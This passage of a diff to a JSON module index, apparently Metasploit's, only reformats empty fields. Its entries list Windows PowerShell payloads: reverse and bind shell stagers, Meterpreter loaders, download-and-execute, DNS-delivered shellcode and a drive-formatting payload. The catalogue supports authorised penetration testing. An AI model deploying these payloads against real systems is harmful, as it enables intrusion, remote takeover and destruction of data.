PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223455,8 +198447,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223469,9 +198460,7 @@ "payload_cmd/windows/powershell/custom/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223485,9 +198474,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223501,8 +198488,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223515,9 +198501,7 @@ "payload_cmd/windows/powershell/custom/reverse_tcp_uuid": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223528,9 +198512,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223544,8 +198526,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223558,9 +198539,7 @@ "payload_cmd/windows/powershell/custom/reverse_udp": { "name": "Powershell Exec, Windows shellcode stage, Reverse UDP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/custom/reverse_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223570,9 +198549,7 @@ "RageLtMan " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223586,8 +198563,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223600,9 +198576,7 @@ "payload_cmd/windows/powershell/custom/reverse_winhttp": { "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/powershell/custom/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223613,9 +198587,7 @@ "Borja Merino " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223629,8 +198601,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223643,9 +198614,7 @@ "payload_cmd/windows/powershell/custom/reverse_winhttps": { "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/powershell/custom/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223656,9 +198625,7 @@ "Borja Merino " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223672,8 +198639,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223686,9 +198652,7 @@ "payload_cmd/windows/powershell/dllinject/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", "fullname": "payload/cmd/windows/powershell/dllinject/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223718,8 +198682,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223732,9 +198695,7 @@ "payload_cmd/windows/powershell/dllinject/bind_hidden_tcp": { "name": "Powershell Exec, Hidden Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/dllinject/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223764,8 +198725,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223778,9 +198738,7 @@ "payload_cmd/windows/powershell/dllinject/bind_ipv6_tcp": { "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/dllinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223808,8 +198766,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223822,9 +198779,7 @@ "payload_cmd/windows/powershell/dllinject/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/dllinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223853,8 +198808,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223867,9 +198821,7 @@ "payload_cmd/windows/powershell/dllinject/bind_named_pipe": { "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/dllinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223896,8 +198848,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223910,9 +198861,7 @@ "payload_cmd/windows/powershell/dllinject/bind_nonx_tcp": { "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/dllinject/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223939,8 +198888,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223953,9 +198901,7 @@ "payload_cmd/windows/powershell/dllinject/bind_tcp": { "name": "Powershell Exec, Bind TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/dllinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223983,8 +198929,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223997,9 +198942,7 @@ "payload_cmd/windows/powershell/dllinject/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/dllinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224029,8 +198972,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224043,9 +198985,7 @@ "payload_cmd/windows/powershell/dllinject/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/dllinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224073,8 +199013,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224087,9 +199026,7 @@ "payload_cmd/windows/powershell/dllinject/find_tag": { "name": "Powershell Exec, Find Tag Ordinal Stager", "fullname": "payload/cmd/windows/powershell/dllinject/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224116,8 +199053,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224130,9 +199066,7 @@ "payload_cmd/windows/powershell/dllinject/reverse_http": { "name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/powershell/dllinject/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224159,8 +199093,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224173,9 +199106,7 @@ "payload_cmd/windows/powershell/dllinject/reverse_http_proxy_pstore": { "name": "Powershell Exec, Reverse HTTP Stager Proxy", "fullname": "payload/cmd/windows/powershell/dllinject/reverse_http_proxy_pstore", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224202,8 +199133,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224216,9 +199146,7 @@ "payload_cmd/windows/powershell/dllinject/reverse_ipv6_tcp": { "name": "Powershell Exec, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/windows/powershell/dllinject/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224246,8 +199174,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224260,9 +199187,7 @@ "payload_cmd/windows/powershell/dllinject/reverse_nonx_tcp": { "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/dllinject/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224289,8 +199214,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224303,9 +199227,7 @@ "payload_cmd/windows/powershell/dllinject/reverse_ord_tcp": { "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/dllinject/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224332,8 +199254,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224346,9 +199267,7 @@ "payload_cmd/windows/powershell/dllinject/reverse_tcp": { "name": "Powershell Exec, Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224376,8 +199295,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224390,9 +199308,7 @@ "payload_cmd/windows/powershell/dllinject/reverse_tcp_allports": { "name": "Powershell Exec, Reverse All-Port TCP Stager", "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224420,8 +199336,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224434,9 +199349,7 @@ "payload_cmd/windows/powershell/dllinject/reverse_tcp_dns": { "name": "Powershell Exec, Reverse TCP Stager (DNS)", "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224465,8 +199378,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224479,9 +199391,7 @@ "payload_cmd/windows/powershell/dllinject/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224511,8 +199421,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224525,9 +199434,7 @@ "payload_cmd/windows/powershell/dllinject/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224557,8 +199464,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224571,9 +199477,7 @@ "payload_cmd/windows/powershell/dllinject/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224601,8 +199505,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224615,9 +199518,7 @@ "payload_cmd/windows/powershell/dllinject/reverse_winhttp": { "name": "Powershell Exec, Windows Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/powershell/dllinject/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224645,8 +199546,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224659,9 +199559,7 @@ "payload_cmd/windows/powershell/dns_txt_query_exec": { "name": "Powershell Exec, DNS TXT Record Payload Download and Execution", "fullname": "payload/cmd/windows/powershell/dns_txt_query_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224670,9 +199568,7 @@ "corelanc0d3r " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nPerforms a TXT query against a series of DNS record(s) and executes the returned x86 shellcode. The DNSZONE\noption is used as the base name to iterate over. The payload will first request the TXT contents of the a\nhostname, followed by b, then c, etc. until there are no more records. For each record that is returned, exactly\n255 bytes from it are copied into a buffer that is eventually executed. This buffer should be encoded using\nx86/alpha_mixed with the BufferRegister option set to EDI.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -224686,8 +199582,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224698,9 +199593,7 @@ "payload_cmd/windows/powershell/download_exec": { "name": "Powershell Exec, Windows Executable Download (http,https,ftp) and Execute", "fullname": "payload/cmd/windows/powershell/download_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224709,9 +199602,7 @@ "corelanc0d3r " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nDownload an EXE from an HTTP(S)/FTP URL and execute it", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -224725,8 +199616,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224737,9 +199627,7 @@ "payload_cmd/windows/powershell/exec": { "name": "Powershell Exec", "fullname": "payload/cmd/windows/powershell/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224749,9 +199637,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -224765,8 +199651,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224777,9 +199662,7 @@ "payload_cmd/windows/powershell/format_all_drives": { "name": "Powershell Exec", "fullname": "payload/cmd/windows/powershell/format_all_drives", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": null, "type": "payload", @@ -224821,9 +199704,7 @@ "payload_cmd/windows/powershell/generic/debug_trap": { "name": "Powershell Exec, Generic x86 Debug Trap", "fullname": "payload/cmd/windows/powershell/generic/debug_trap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224832,9 +199713,7 @@ "robert " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nGenerate a debug trap in the target process", - "references": [ - - ], + "references": [], "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "cmd", "rport": null, @@ -224848,8 +199727,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224860,9 +199738,7 @@ "payload_cmd/windows/powershell/generic/tight_loop": { "name": "Powershell Exec, Generic x86 Tight Loop", "fullname": "payload/cmd/windows/powershell/generic/tight_loop", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224871,9 +199747,7 @@ "jduck " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nGenerate a tight loop in the target process", - "references": [ - - ], + "references": [], "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "cmd", "rport": null, @@ -224887,8 +199761,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224899,9 +199772,7 @@ "payload_cmd/windows/powershell/loadlibrary": { "name": "Powershell Exec", "fullname": "payload/cmd/windows/powershell/loadlibrary", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224911,9 +199782,7 @@ "hdm " ], "description": "Execute an x86 payload from a command via PowerShell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -224927,8 +199796,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224939,9 +199807,7 @@ "payload_cmd/windows/powershell/messagebox": { "name": "Powershell Exec, Windows MessageBox", "fullname": "payload/cmd/windows/powershell/messagebox", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224951,9 +199817,7 @@ "jduck " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawns a dialog via MessageBox using a customizable title, text & icon", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -224967,8 +199831,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224979,9 +199842,7 @@ "payload_cmd/windows/powershell/meterpreter/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", "fullname": "payload/cmd/windows/powershell/meterpreter/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225012,8 +199873,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225026,9 +199886,7 @@ "payload_cmd/windows/powershell/meterpreter/bind_hidden_tcp": { "name": "Powershell Exec, Hidden Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/meterpreter/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225059,8 +199917,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225073,9 +199930,7 @@ "payload_cmd/windows/powershell/meterpreter/bind_ipv6_tcp": { "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/meterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225104,8 +199959,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225118,9 +199972,7 @@ "payload_cmd/windows/powershell/meterpreter/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/meterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225149,8 +200001,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225163,9 +200014,7 @@ "payload_cmd/windows/powershell/meterpreter/bind_named_pipe": { "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/meterpreter/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225194,8 +200043,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225208,9 +200056,7 @@ "payload_cmd/windows/powershell/meterpreter/bind_nonx_tcp": { "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/meterpreter/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225239,8 +200085,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225253,9 +200098,7 @@ "payload_cmd/windows/powershell/meterpreter/bind_tcp": { "name": "Powershell Exec, Bind TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225284,8 +200127,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225298,9 +200140,7 @@ "payload_cmd/windows/powershell/meterpreter/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/meterpreter/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225331,8 +200171,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225345,9 +200184,7 @@ "payload_cmd/windows/powershell/meterpreter/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225376,8 +200213,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225390,9 +200226,7 @@ "payload_cmd/windows/powershell/meterpreter/find_tag": { "name": "Powershell Exec, Find Tag Ordinal Stager", "fullname": "payload/cmd/windows/powershell/meterpreter/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225420,8 +200254,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225434,9 +200267,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_http": { "name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225465,8 +200296,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225479,9 +200309,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_http_proxy_pstore": { "name": "Powershell Exec, Reverse HTTP Stager Proxy", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_http_proxy_pstore", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225510,8 +200338,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225524,9 +200351,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_https": { "name": "Powershell Exec, Windows Reverse HTTPS Stager (wininet)", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225555,8 +200380,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225569,9 +200393,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_ipv6_tcp": { "name": "Powershell Exec, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225600,8 +200422,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225614,9 +200435,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_named_pipe": { "name": "Powershell Exec, Windows x86 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225644,8 +200463,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225658,9 +200476,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_nonx_tcp": { "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225689,8 +200505,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225703,9 +200518,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_ord_tcp": { "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225734,8 +200547,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225748,9 +200560,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_tcp": { "name": "Powershell Exec, Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225779,8 +200589,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225793,9 +200602,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_tcp_allports": { "name": "Powershell Exec, Reverse All-Port TCP Stager", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225824,8 +200631,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225838,9 +200644,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_tcp_dns": { "name": "Powershell Exec, Reverse TCP Stager (DNS)", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225870,8 +200674,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225884,9 +200687,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_tcp_rc4": { "name": "Powershell 